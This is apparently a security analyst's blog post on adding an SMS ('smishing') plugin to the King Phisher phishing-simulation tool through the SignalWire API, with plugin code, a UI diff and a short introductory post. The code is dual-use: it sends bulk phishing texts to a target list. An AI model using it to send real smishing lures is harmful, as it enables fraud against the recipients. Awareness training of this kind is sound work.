Phone numbers are much easier to spoof than email senders. Phone numbers are predictable and don’t even require any hacking or a leak, to capitalize on. So its’s easier for a spammer to ramp up, and start sending malicious links to a large swathe of people. This combination has given rise to fraud through SMS/Text messaging.

What can be done about curbing these types of attacks?? Training . Users must be trained to spot phishing attempts and report or ignore accordingly.

These problems are cat vs mouse situations, and no matter how good your defenses are, humans are always the weakest link. Information Security practitioners must conduct phishing training and awareness exercises for all users. The goal is to help make users aware of phishing attempts, and ideally, report these attempts so they can be blocked, or stopped in the future. Stopping phishing is not realistic, and it’s just not going to happen. However, by training users to spot red flags with suspicious emails and reporting it, the damage can be minimized.

Training

There are many different methods, tools, and companies that will help craft campaigns and metrics to train users. For my purposes, I use king-phisher by TrustedSec. It can be self hosted, with a client and server portions, and is highly customizable.

King Phisher is a tool for testing and promoting user awareness by simulating real world phishing attacks. It features an easy to use, yet very flexible architecture allowing full control over both emails and server content. King Phisher can be used to run campaigns ranging from simple awareness training to more complicated scenarios in which user aware content is served for harvesting credentials.

Out of the box, KingPhisher will help you craft phishing lures, web server landing pages, and track metrics of the campaign. It is focused on email address based phishing, with great support for sending and tracking methods. KingPhisher is extensible with plugins, one of which, clockwork-sms claims to send text messages for your target list. Between the cost of using clockwork, and the method (sends the text message via the carrier email gateway, eg ###-###-####@carrier.tld), I decided not to use the plugin. Some of the limiations are of course the cost, but needing to know the target carrier to craft the recipent ‘email’. Sending via this method also makes the text message stand out with content including ‘FRM’, ‘SUBJ’, and ‘MSG’ identifiers. (see example 1) I wanted a method that would actually use and send via SMS and not parsing to an email address.

I decided to use signalwire for the robust API access, and great prices. Unfortunately, there was no built in method with KingPhisher to utilize a different provider for purely SMS/smishing. Yet another entry point; plugins! I started with clockwork_sms.py as a baseline, to refactor into a signalwire plugin. Some major differences include, requiring more information for the signalwire API, and being sent via HTTP API versus an email gateway. This allows the text message to look like a normal standard text, because it is! (see example 2) The plugin sets the primary configuration options for signalwire, and a signal hook for the message-send from KingPhisher core. In addition to the plugin, this method required modification of KingPhisher core project itself to support ‘SMS’ only phishing.

Plugin

First things first, you’ll need to signup for a signalwire account. Signalwire has a python library for ease of use, installed through pip, and great documentation to get started quickly. pip install signalwire, and then test some code to make sure it works:

from signalwire.rest import Client as signalwire_client

client = signalwire_client("YourProjectID", "YourAuthToken", signalwire_space_url = 'example.signalwire.com')

message = client.messages.create(
                              from_='+15551234567',
                              body='Hello World!',
                              to='+15557654321'
                          )

print(message.sid)

After getting that test code working, it was time to create the KingPhisher plugin! Using clockwork as a base file, I modified it to be more inline with signalwire expectations. This included adding in plugin options for the signalwire api key, project id, and space url:

	options = [
		plugins.ClientOptionString(
			'api_key',
			'SignalWire API Key',
			display_name='SignalWire API Key'
		),
		plugins.ClientOptionString(
			'project_id',
			'SignalWire Project ID',
			display_name='SignalWire Project ID'
		),
		plugins.ClientOptionString(
			'space_url',
			'SignalWire Space URL',
			display_name='SignalWire Space URL'
		),

		plugins.ClientOptionString(
			'from_phone',
			'SignalWire FROM Number, without "+" but including country and area code',
			display_name='SignalWire FROM Number'
		)
	]

Then, you need to change the initialization to register the message-send signal, and status check for signalwire:

	def initialize(self):
		mailer_tab = self.application.main_tabs['mailer']
		self.signal_connect('send-precheck', self.signal_send_precheck, gobject=mailer_tab)
		self.signal_connect('message-send', self.signal_message_send, gobject=mailer_tab)
		return True

	def _get_status(self):
		api_key = self.config['api_key']
		project_id = self.config['project_id']
		space_url = self.config['space_url']

		try:
			sms_client = signalwire_client(project_id, api_key, signalwire_space_url = space_url)
			account = sms_client.api.accounts(project_id).fetch()
			self.logger.info("Verified connection to '%s', status is '%s'\n" % (account.friendly_name,account.status))
			if account.type != "Full":
				self.logger.warning("Your SignalWire account is 'Trial' only! You will not be able to send messages to unverified phone numbers")
		except:
			self.logger.warning('Failed to connect to signalwire API', exc_info=True)
			return None

		
		return account.friendly_name, account.status, account.type

Finally, the plugin needs signal_message_send function that does the actual sending of the text message, through the signalwire API:

        def signal_message_send(self, mailer_tab, target, message):
                text_insert = mailer_tab.tabs['send_messages'].text_insert
                if self._sms_number_regex.match(target.email_address) is None:
                        text_insert("Number '{0}' is not a valid phone number. Not sending!\n".format(target.email_address))
                        return False

                api_key = self.config['api_key'].strip()
                project_id = self.config['project_id'].strip()
                space_url = self.config['space_url'].strip()
                from_number = self.config['from_phone'].strip()

                client = signalwire_client(project_id, api_key, signalwire_space_url = space_url)
                msg = client.messages.create(from_="+{0}".format(from_number), body=message, to="+{0}".format(target.email_address))

                text_insert("Msg ID '{0}' from '{1}' to '{2}', {3}.\n".format(msg.sid, from_number, msg.to, msg.status))
                if msg.status == 'failed':
                        text_insert(msg.error_message)
                        return False
                return True

All combined, these changes make up the basic signalwire SMS plugin. A few other checks and balances will need to be done for the reader to have a complete working plugin. (I don’t want to make it too easy for spammers and script kiddies!)

Core changes

For this project, I needed to alter the client core portion of KingPhisher, to accomodate pure SMS phishing. These changes include:

adding regex checking for a proper 10 digit phone number _(reading from the emailaddress field, for simplicity)
HTMLFilter to convert the message template from HTML, to plaintext
adding a new ‘message type’ to the king phisher client UI, for ‘SMS’
various checks to skip/ignore MIME message, and SMTP connections if message type is ‘SMS’
adding the new ‘sms’ message type to config saving and loading functions

NOTE: specific code changes to KingPhisher core are not included in this post.

The front-end change for the UI is pretty simple, just adding a few lines:

+++ /opt/king-phisher/data/client/king_phisher/king-phisher-client.ui
@@ -7970,6 +7970,23 @@
                      <property name="position">1</property>
                       </packing>
                     </child>
+                    <child>
+                      <object class="GtkRadioButton" id="MailSenderConfigurationTab.radiobutton_message_type_sms">
+                        <property name="label" translatable="yes">SMS</property>
+                        <property name="visible">True</property>
+                        <property name="can_focus">True</property>
+                        <property name="receives_default">False</property>
+                        <property name="tooltip_text" translatable="yes">Send SMS/Text messages</property>
+                        <property name="draw_indicator">True</property>
+                        <property name="group">MailSenderConfigurationTab.radiobutton_message_type_email</property>
+                        <signal name="toggled" handler="signal_radiobutton_toggled_message_type" swapped="no"/>
+                      </object>
+                      <packing>
+                        <property name="expand">False</property>
+                        <property name="fill">True</property>
+                        <property name="position">2</property>
+                      </packing>
+                    </child>
                   </object>
                   <packing>
                     <property name="left_attach">1</property>

Conclusion

These settings and sending could probably be incorporated directly into KingPhisher, without need for a plugin. With this setup, there are definitely still some caveats to sending SMS messages.

You can’t leave the signalwire SMS plugin enabled when sending a phishing email campaign
Signalwire plugin has to be loaded if the ‘SMS’ message type is selected, or the entire thing fails
Because sent messages are queued to signalwire, there’s no real way to confirm the message was delivered
1. Unless you query for the message SID after its sent to signalwire, which I skipped here

All in all these changes together helped me achieve the goal for training and awareness of SMISHING. I was able to modify KingPhisher to send SMS directly, through signalwire API, instead of an email -> SMS gateway. This was certainly a learning experience, from how KingPhisher plugins work, to the internals, and the complexities of phone numbers and SMS delivery.

From here, it’s just a matter of creating your target list, substituting the target phone number in the ‘email_address’ column instead of an email. Craft your lures, and remember the message should be fewer than 160 characters, including the link; and hit send!

Remember, only use this information for good! Have fun with your phishing.

Introducing myself

18 May 2020 00:00 +0000

So, it has come to this…

I’ve decided to start a blog. I’ve been meaning to practice my writing, and communication style to improve each. In my personal life, I have setup and actively maintain an internal wiki. This project is a different endeavour. Instead of documentation for my own purposes, I want to reach a wider audience with less ‘specificness’, and share my experiences. From the mundane that I often don’t care to remember (what is the syntax of tshark to display DNS op codes?), to the complicated assembly level reverse engineering of … whatever. This blog is not about those specific searches..

Instead, this blog will be about how I came to be searching for those things to begin with! What problems am I trying to solve, how did I end up solving them, and what learned along the way. Certainly as time goes on I will be able to improve upon my knowledge base and process. I would rather automate and script the basics, in order to focus on the more difficult aspects. And of course, no personal blog would be complete without a few ranting posts every now and then.

I have worked on many aspects of technology and information security throughout my career. From physical security as a US Army Military Police, to computer network forensics as a Security and Threat Intel Analyst. There is no problem too challenging or mundane… I enjoy solving problems. My goal is to design and implement elegant solutions to complex problems.

I am a security analyst with a a passion for open source projects and the Linux Operating System. I have experience with many aspects related to Information Technology, including devops and system administration, network security administration, and other information security related aspects. My primary skills and knowledge are in Linux administration and information security/Blue team, incident response.

Hopefully this explains a bit more about who I am and what I hope to acheive with this blog.